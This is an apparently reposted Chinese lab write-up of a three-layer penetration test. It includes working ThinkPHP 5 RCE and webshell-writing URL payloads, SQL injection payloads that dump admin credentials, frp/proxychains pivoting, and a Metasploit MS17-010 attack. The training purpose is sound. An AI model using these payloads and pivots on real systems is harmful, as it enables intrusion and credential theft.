引言
? 在過去的一些實戰經歷中發現自己內網相關的技能還比較薄弱,所以專門找了個靶場(teamssix.com)做下練習,靶場的web漏洞利用都很簡單,主要訓練自己內網搭代理隧道的熟練度,如果你和我一樣對復雜網路下隧道搭建不熟悉的話,不妨一起看看這篇文章,希望能對你有一些幫助,
? 目標:拿下內網最深處主機的flag.txt 檔案
外網打點
? 在互聯網環境下發現一處資產 ,這里以 x.x.220.130 替代,直接訪問 x.x.220.130 發現以下頁面:

? 很明顯這是一個thinkphp應用,隨便指定一個路由http://x.x.220.130/index.php/?s=123,爆出thinkphp的詳細版本,

? tp5在5.0-5.0.24 和 5.1.0-5.1.30都是存在RCE(Remote code Execution)的,這里運氣很好,直接使用5.0.x路由默認兼容模式進行RCE,使用以下payload 執行id命令:
http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id

? 可以看見命令執行成功,
? 接下來直接寫入一個shell ,使用php 的 file_put_contents 函式寫個一句話木馬:
http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%20@eval($_POST[%27qaxnb666%27]);?%3E
? 驗證:

? 驗證成功,直接使用蟻劍進行連接,

? 將超時時間調高,因為后續會上傳檔案避免超時而中斷:

連接成功:

? 第一層的flag就在網站根目錄下面, 直接雙擊讀取即可:

突破邊界(第一層)
? 接上文,已經拿下第一臺服務器,嘗試對這臺服務器進行資訊收集:

? 拿下的這臺服務器發現權限并不高僅為www,但是有驚喜的是這臺機器存在雙網卡,其中一張網卡(ens37)系結了內網ip(192.168.22.131),證明這臺服務器處于企業架構的DMZ(非軍事區)區域,且是兩個網段的邊界節點,那么我們只要借助這臺服務器作為跳板即可進入這家企業的內網,至少進入了192.168.22.x/24網段的內網,
22 網段資訊收集
? 既然發現了存在192.168.22.x/24 網段,所以嘗試對 22 網段進行資訊收集,這里使用fscan (https://github.com/shadow1ng/fscan)工具進行內網大保健.
? 上傳fscan 到服務器目錄/tmp

? 對 192.168.22.x/24 網段進行掃描:
./fscan -h 192.168.22.1/24 -o fscan.log
? 查看掃描結果:

? 發現網段內還存在192.168.22.128 和 , 且192.168.22.129192.168.22.128:80 存在 cms服務,
? 接下來的目標就是拿下192.168.22.128 服務器,直接通過DMZ這臺服務器因為權限太低所以不能直接用它來滲透,所以需要
以第一臺服務作為跳板,
搭建跳板
? 先畫個網路拓撲圖,方便后續理解,第一臺機器我們也叫它Target 1.

? 因為在上一步資訊收集時發現192.168.22.128:80 (Target 2)存在 cms服務,有兩種方式進行利用:
- 對 Target 2
80埠進行埠轉發, - 使用反向代理,將Target 1 的網路通過vps代理出去,
? 為了進一步對內網進行探測,這里選擇第二種方式,
? 反向代理有很多工具可以使用,frp、ew、ngrok都可以,這里使用frp方式,
? frp存在服務端(frps)與客戶端(frpc), frps需要一直保持運行,轉發方式通過客戶端組態檔進行確定,

啟用frp 服務端
? 下載frps到自己的vps上,frps.ini 配置如下 :

? 其中 token 表示客戶端進行連接的驗證引數, 監聽埠為17001, dashboard 為frps自帶的儀表盤,方便對frps運行情況進行查看,
使用命令frps -c frps.ini 啟動即可,如果想要后臺運行,可以加入service或者使用nohup啟動,
? 
? netstat 查看對應埠在監聽則證明啟動成功,使用配置的dashboard埠也能成功進入,

Target1 客戶端配置
? 將frpc 傳入target1 /tmp/frp目錄:

frpc.ini 配置內容:

其中common內容與frps.ini保持一致即可, target1客戶端分別配置了socks5與http的代理方式,使用frpc -c frpc.ini 進行啟動:

在 vps 服務器端分別發現了16004與16005埠,證明代理搭建成功!

這樣就相當于打通了外部與該企業的內網,在互聯網掛著vps 16004/16005的代理就能訪問 Target2 所在的網段:

進入第二層內網
? 在上一步驟中已經搭建好了內網代理,現在進行以下測驗,首先在沒有使用代理時,192.168.22.128是無法訪問的:

? 通過瀏覽器插件配置代理,因為瀏覽器不支持socks5 代理的加密認證,所以這里配置http方式


? 再次訪問192.168.22.128 ,成功訪問,到此我們就已經訪問了企業第二層內網:

? 雖然這里瀏覽器能夠正常訪問了,但是在滲透的程序中常常會使用安全工具進行掃描或者漏洞利用,這些工具大部分沒有預留走代理的配置,或者系統的代理往往不會生效,這種情況怎么辦呢?
? 所以這時候強制代理工具就很重要了,強制代理工具也有很多,這里使用proxifer,這款工具在win/mac下都有比較方便,

### 對`Target2` 進行埠掃描
? 雖然在之前的掃描中發現了Target2 80埠存在一個cms,但是 滲透總是照著軟柿子捏,我們嘗試使用nmap 對Target2 進行埠掃描,尋找其開放的埠,
? 1. 首先需要配置Proxifer ,先配置代理服務器


- 需要配置代理規則,按照下圖配置:


- 使用nmap 進行掃描,注意的是socks本身也是建立在tcp基礎上的,所以nmap只能以tcp全連接的方式進行掃描,即:
nmap -sT 192.168.22.128 -Pn

? 對21、22、3306 都進行了弱口令嘗試,但無解,888、8888 是寶塔的控制面板界面,嘗試了寶塔之前的phpmyadmin未授權訪問也無解,看樣子只能對80埠下手,

Bage cms 滲透
? 通過查看網頁底部指紋資訊,知道這是一個bage cms搭建的網站,而且從時間上來看有些老舊,

? 通過在網上尋找bage cms的利用點發現均為一些任意檔案讀取或者xss等后管的漏洞利用,雖然通過路徑掃描找到了后臺地址:http://192.168.22.128/index.php?r=admini/public/login

? 但并沒有弱口令,而且因為有驗證碼 所以也沒法爆破,這個時候就茫然了,完全拿不下,
? 但總得抓個包先看看吧,聯想到之前某活動,有個巨佬通過注釋找到利用點拿到shell的場景,我這次也留意了注釋的內容,刺激的是果然在注釋里面有提示!

sql手工注入一把梭
? 訪問提示的地址http://192.168.22.128/index.php?r=vul&keyword=1:

? 加上單引號,典型的mysql報錯注入:

? 
? 所以使用報錯注入注出后管用戶名和密碼就好(中途發現報錯注入顯示的字符長度有限制,后面轉成了聯合注入),細節就不完整放了,很基礎,貼下程序中的payload:
-- 資料庫
-- bagecms
1'/**/and/**/updatexml(1,(concat(0x7e,database(),0x7e)),1)%3d'1+
-- 注用戶
-- bagecms@localhost
1'/**/and/**/updatexml(1,(concat(0x7e,user(),0x7e)),1)%3d'1+
-- 注表
-- bage_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload
1'+union+select+(select+group_concat(distinct+table_name)+from+information_schema.tables+where+table_schema%3d'bagecms'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注段
-- id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time
1'+union+select+(select+group_concat(distinct+column_name)+from+information_schema.columns+where+table_schema%3d'bagecms'+and+table_name%3d'bage_admin'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注用戶名
-- admin
1'+union+select+(select+group_concat(distinct+username)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注密碼
-- 46f94c8de14fb36680850768ff1b7f2a (123qwe)
1'+union+select+(select+group_concat(distinct+password)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
? 把注入出來的md5 密碼去解一下,得到(admin/123qwe):

放入后門
? 使用注入得到的賬號密碼進行登錄,成功登錄,

? 后管直接把Target2 的flag給顯示出來了,嘗試繼續深入,給這臺服務上傳shell,上傳點存在限制,但是在模板功能模塊存在直接編輯模板代碼的功能,所以很簡單直接把一句話隨便找個檔案放入就好:

? 嘗試使用蟻劍進行連接,因為Target2 是內網機器,所以要連接shell得先給蟻劍掛代理:

? 其余和Target1 一樣進行連接, 連接成功,至此 Target2 也被拿下,

進入第三層內網
? 同樣的步驟,先對剛拿下的Taget2 進行資訊收集:


發現和 Target1 類似,同樣是雙網卡,且能訪問192.168.33.128 網段,和 Target1 不同的是不能出網,如果類比企業的話,33可能就是企業的核心生產網,
? 再次上傳fscan,對33網段進行內網大保健:

? 顯示33網段除了Target2 之外 ,還有一臺192.168.33.33 (Target3) ,且該主機為win7 ,fscan掃描得出存在永恒之藍漏洞(MS17-010),所以可以再使用Target2的網路對Target3發起永恒之藍攻擊
#### 搭建雙層代理鏈
? 往內網越深,需要搭建的代理就越多,內網的機器往往都是不出網的,所以需要依賴DMZ的機器作為總的出入口搭建代理鏈,
? 代理鏈搭建其實很簡單,就是在Target1 上啟動服務端,Target2 通過客戶端連接服務端, 然后在使用代理時先讓代理走target1 然后再走target2,即:
Hacker <-> VPS <-> Taget1 <-> Taget2 <-> Taget3

? 給Target1 運行frps 服務端,配置使用和vps相同的引數:


? 上Target2 運行客戶端,其余配置都一樣,把server_addr 換成開啟服務端的Target1ip(注意ip要是22段,不然網路不通)

Target1 上開始監聽Target2 客戶端配置的代理ip時,說明配置成功,

永恒之藍(MS17-010)
? 永恒之藍這個漏洞很老了,算是復古一波,利用方式在msf里面就有,所以可以在vps上下載msf,給vps掛上代理鏈即可使用msf發起對Target3 的攻擊,
? 在linux上對應用進行強制代理的工具可以使用proxychains-ng
proxychains-ng
? 在centos 上可以很方便的 yum install -y proxychains-ng 安裝即可
? 組態檔默認在/etc/proxychains.conf ,按照如下順序配置(順序很重要,不能亂),因為我的frps就在這臺vps上,所以直接使用127.0.0.1即可:

? 剛剛fscan掃描結果可知192.168.33.33 開啟了 139和445 埠,使用proxtchain測驗下,使用也非常簡單,在需要代理的命令前面加上
proxychain即可:
proxychains telnet 192.168.33.33 139

從上圖可以看到埠已經通了,這時候就可以打開msf一把梭了,
msf
- 使用proxychains 啟動msfconsole

- 搜索ms17-010,直接使用第一個就好:

- 因為Target3 是不能出網的 ,所以不能使用默認的反向payload,需要指定正向payload:

- 設定目標引數資訊

- exploit !!!

拿到Taget3 最高權限!嘗試去讀取flag

拿到flag!

截圖:

? 到這里已經拿到了第三層的內網主機最高權限,fscan掃描也沒有其他主機資訊,可以確認這次就基本打穿了,
總結
? 
? 回顧一下,本次滲透總共通過三個邊界節點的漏洞利用成功拿下身處最內網的Target3,分別通過TP5、Bage cms、永恒之藍作為漏洞利用點,借助frp 工具搭建代理鏈實作對內網的訪問,其實整個程序還是很簡單的,并沒有涉及到域相關的內容,后續有機會再分享,
公眾號
歡迎大家關注我的公眾號,這里有干貨滿滿的硬核安全知識,和我一起學起來吧!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/508954.html
標籤:其他
